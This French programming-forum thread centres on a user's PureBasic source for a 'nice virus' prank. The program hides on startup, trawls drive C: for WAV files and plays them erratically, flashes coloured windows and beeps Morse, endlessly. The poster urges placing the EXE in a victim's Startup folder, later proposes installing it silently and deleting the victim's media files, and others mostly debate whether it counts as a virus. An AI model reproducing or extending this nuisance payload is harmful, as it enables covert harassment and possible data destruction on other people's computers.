Mon 1er "virus" PB (virus gentil)

Programmation d'applications complexes
Avatar de l’utilisateur
SPH
Messages : 4937
Inscription : mer. 09/nov./2005 9:53

Mon 1er "virus" PB (virus gentil)

Message par SPH »

Salut a tous,

Ce code fouille sur "C" a la recherche de sons WAV. Puis il les lis aleatoirement d'une facon plus ou moins enervante : Simple lecture, lecture en boucle ou lecture mitraillette. Ce code fait aussi un effet graphique sur le bureau et joue parfois du code morse au haut parleur interne du PC.
A vous de savoir le placer dans le repertoire DEMARRAGE du PC que vous voulez embeter...
ps : le rythme semble peu soutenu mais imaginez ce code tourner TOUS LES JOURS sur le PC de la victime !! Egalement, tout depend du nombre de fichiers WAV present sur le lecteur C ! Plus il y en a, plus ca joue.

ENJOY : :twisted:

Code : Tout sélectionner

;
; ------------------------------------------------------------
;
;   Fichier caché qui joue aleatoirement des WAV
;   plus il y a de fichiers WAV sur C: , plus il y aura de sons joués
;   compiler et mettre l'EXE dans le menu "DEMARRAGE" de windows =)
;
; ------------------------------------------------------------
;

If InitSound() = 0
  End
EndIf

ExamineDesktops()

d$="c:\"
Dim dossier$(999)
dossier=0

Debug ("=========")
Debug ("Bon, on cherche 999 liens sur le diskdur")


While dossier<1000 
      If ExamineDirectory(0, d$, "*.*")
          Repeat
            FileType = NextDirectoryEntry()
            If FileType
              FileName$ = DirectoryEntryName()
              If FileType = 2 And FileName$<>"." And FileName$<>".." And dossier<1000
                dossier$(dossier)=d$+FileName$+"\"; on memorise les repertoires de C
                Debug dossier$(dossier)
                dossier+1
                Delay(1) ;   pause pour ne pas prendre 100% du processeur
              EndIf
            EndIf
          Until FileType = 0
      EndIf
  d$=dossier$(Random(dossier-1)) ; on refouille plus profondement et de facon aleatoire
Wend

;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;

Repeat; forever

jouer=30+Random(50); rythme normal
combien=Random(10)
If Random(20)=0; parametres pour un rythme enervant
jouer=4+Random(15)
combien=2+Random(2)
EndIf

;********************
;********************
;********************
;********************
For u=0 To combien
lu=0
vitesse=200+Random(10000)
For i=0 To 999

If ExamineDirectory(0, dossier$(i), "*.wav") ; on va jouer quelques WAV de ce repertoire
  Repeat
            FileType = NextDirectoryEntry()
            If FileType
              FileName$ = DirectoryEntryName()
              If FileType = 1 And Random(jouer)=0
                If LoadSound(lu, dossier$(i)+FileName$)
                poids = FileSize(dossier$(i)+FileName$)
                  If poids>200
                    If Random(12)=0
                      PlaySound(lu,1); lecture repere pour bien enerver
                      Delay(3000+Random(poids/4))
                      Else
                      If Random(10)=1
                        b=Random(20)+5
                        For m=0 To b
                        PlaySound(lu,0); lecture simple
                        Delay(10+Random(poids/14))
                        If b=5
                        Delay(Random(30000))
                        EndIf
                        Next m
                      EndIf
                    EndIf
                    
                  PlaySound(lu,0); lecture simple pour couper d'eventuelle lecture répétée
                  Delay(Random(vitesse)+poids/10) ;   pause le temps de la lecture
                  lu+1
                    If lu>2
                      lu=0
                    EndIf
                  If Random(10)=1
                    Delay(Random(10000)); pause possible pour casser le rythme
                  EndIf
                  EndIf
                EndIf
              EndIf
            EndIf
  Until FileType = 0 
EndIf

Next i

;;;;;;;;; ouverture et fermeture de fenetres =)
If Random(3+combien)=0
For n=0 To 70
a=Random(200)+50
  If OpenWindow(n,Random(DesktopWidth(0))-30,Random(DesktopHeight(0))-30,a,a, #PB_Window_BorderLess, "")
    If StartDrawing(WindowOutput())
    Box (0,0,a,a,RGB(Random(255),Random(255),Random(255)))
    StopDrawing()
    EndIf
  Beep_(400+n*40,10)
  EndIf
Next
For n=0 To 70
  CloseWindow(n)
  Beep_(3200-n*45,10)
Next
EndIf
;;;; fin de fermeture de fenetres  =)))
Next u
;********************
;********************
;********************
;********************


Delay(Random(500000)) ;   pause

If Random(5)=1 ;    immitation code morse par le haut parleur integré
a=Random(400)+800
Repeat
Beep_(a,(1+Random(1))*40)
Delay((1+Random(1))*60)
If Random(10)=1
Delay((1+Random(1))*60)
If Random(20)=1
Delay(Random(5000))
EndIf
EndIf
Until Random(200)=1
EndIf


ForEver
nico
Messages : 3702
Inscription : ven. 13/févr./2004 0:57

Message par nico »

A ce niveau là, c'est pas un virus; c'est juste un programme nuisible!

et les programmes nuisibles, on sait tous les faire.

Tu fais une division par 0 et tu plantes ton PC en 2 lignes par exemple.
Avatar de l’utilisateur
SPH
Messages : 4937
Inscription : mer. 09/nov./2005 9:53

Message par SPH »

On peux l'ameliorer !! :twisted:
Par exemple, autoextraire ce code en EXE dans DEMARRAGE sans que la personne le voye ! :twisted: :twisted: :twisted:
Et puis si tu parles de nuisible, rien ne t'empeche de deleter les WAV, MP3, AVI, MPG, WMP, ....... mais la, ca commence a etre "vache" :evil:
nico
Messages : 3702
Inscription : ven. 13/févr./2004 0:57

Message par nico »

Ouais mais ça sera toujours pas un virus!!!

Faire un virus n'est pas à la portée de tout le monde, évidemment on peut toujours récupérer des sources existantes.
wolfjeremy
Messages : 1202
Inscription : sam. 31/déc./2005 23:52

Message par wolfjeremy »

Si sa serait aussi simple de faire un vrai virus :lol:
Avatar de l’utilisateur
SPH
Messages : 4937
Inscription : mer. 09/nov./2005 9:53

Message par SPH »

Ok je vois. Oui, c'est vrai, tant qu'il ne s'attache pas a tous les EXE, ce n'est pas un virus. Bon, laissez moi reflechir...

!i!i!i!i!i!i!i!i!i!
!i!i!i!i!i!i!
!i!i!i!
//// Informations ////
Intel Core i7 4770 64 bits - GTX 650 Ti
Version de PB : 6.12LTS- 64 bits
wolfjeremy
Messages : 1202
Inscription : sam. 31/déc./2005 23:52

Message par wolfjeremy »

Tu devrais plutot esseyer de l'attacher aux média, comme les .txt, .doc, .jpg, etc etc car les exe c'est pas gagner lol

De toute façon sa ne sera quand même pas un vrai virus, car il sera tellement simple a trouver et a bloqué :roll:
julien
Messages : 846
Inscription : ven. 30/janv./2004 15:06
Contact :

Message par julien »

Il y'a deja eu un poste de code source d'un virus, certain doivent s'en sourvenir encore... :D
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Message par Backup »

la definition d'un virus, c'est pas qu'il soit nuisible !!

c'est un programme capable de se reproduire !!

au depart c'etait un jeu pour etudiants en reseau !!
le but etait de fait un petit programme qui se reproduise le plus vite possible
les autres etudiants faisait la mem chose mais en cherchant a detruire les autre "virus" , a la base il n'etait pas question de toucher au system...
c'etait des programme qui se battaient entre eux ...

lire ici : http://securinet.free.fr/virus-histoire.html

seulement c'etait sans compter sur la connerie humaine ! :D
Avatar de l’utilisateur
flaith
Messages : 1487
Inscription : jeu. 07/avr./2005 1:06
Localisation : Rennes
Contact :

Message par flaith »

Dobro a écrit :la definition d'un virus, c'est pas qu'il soit nuisible !!

c'est un programme capable de se reproduire !!

au depart c'etait un jeu pour etudiants en reseau !!
le but etait de fait un petit programme qui se reproduise le plus vite possible
les autres etudiants faisait la mem chose mais en cherchant a detruire les autre "virus" , a la base il n'etait pas question de toucher au system...
c'etait des programme qui se battaient entre eux ...

lire ici : http://securinet.free.fr/virus-histoire.html

seulement c'etait sans compter sur la connerie humaine ! :D
Sympa ton lien, même si c'est pas recent, j'ai bien aimé lire la rubrique sur echelon, ainsi que l'implication de microsoft :wink:
Avatar de l’utilisateur
SPH
Messages : 4937
Inscription : mer. 09/nov./2005 9:53

Message par SPH »

Ha tiens, je repense a quelque chose :
Dans mon code, j'ai introduit la variable "lu" car je pensais que les WAV pouvaient etre lu sur plusieurs pistes audio. Mais j'ai constaté que non. Qu'en est il reellement ?
Autre truc, les fenetres carré qui barbouillent le bureau ne barbouillent pas les fenetres d'applications deja ouverte, comme MSN ou autre. Pourquoi ?

!i!i!i!i!i!i!i!i!i!
!i!i!i!i!i!i!
!i!i!i!
//// Informations ////
Intel Core i7 4770 64 bits - GTX 650 Ti
Version de PB : 6.12LTS- 64 bits
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Message par Cls »

Un virus est un programme capable de se propager sur un hôte. A la base, il n'est pas question de réseau : il sautait d'ordinateur en ordinateur grâce aux disquettes et autres périphériques amovibles. C'est avec l'expansion des réseaux et notamment d'Internet que sont arrivés deux nouveaux vecteurs de propagation : les e-mails et les vulnérabilités systèmes.
SPH, ce que tu as écrit représente la "bombe logique" ou la "charge utile" du virus. Il manque une routine permettant la réplication (le plus important en fait).
Par ailleurs un virus ne contient pas toujours de charge utile (l'effet nuisible). Il arrive (beaucoup plus souvent que ce qu'on peut penser) que son but soit de se propager sans causer de dégâts.
Enfin, le virus est le programme informatique le plus simple à faire. Mais coder un bon virus est la chose la plus difficile (cryptage, polymorphisme, etc.).
nico
Messages : 3702
Inscription : ven. 13/févr./2004 0:57

Message par nico »

Enfin, le virus est le programme informatique le plus simple à faire
Que tous ceux qui savent créer un virus lève le doigt. :lol:
Avatar de l’utilisateur
SPH
Messages : 4937
Inscription : mer. 09/nov./2005 9:53

Message par SPH »

Ok ok, hormi le terme "virus" qui semble inaproprié, peut on revenir a des questions interessantes que je repose :

Dans mon code, j'ai introduit la variable "lu" car je pensais que les WAV pouvaient etre lu sur plusieurs pistes audio. Mais j'ai constaté que non. Qu'en est il reellement ?
Autre truc, les fenetres carré qui barbouillent le bureau ne barbouillent pas les fenetres d'applications deja ouverte, comme MSN ou autre. Pourquoi ?
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Message par Backup »

pour m'a part je prefere pas repondre a tes questions car je suis contre la fabrication de prg qui "emmerde" les gens ! ..

y a deja bien assé des prg du commerce pour ça !

c'est mon choix , je voulai que tu sache pourquoi je repondai pas a tes questions ! ... :D
Répondre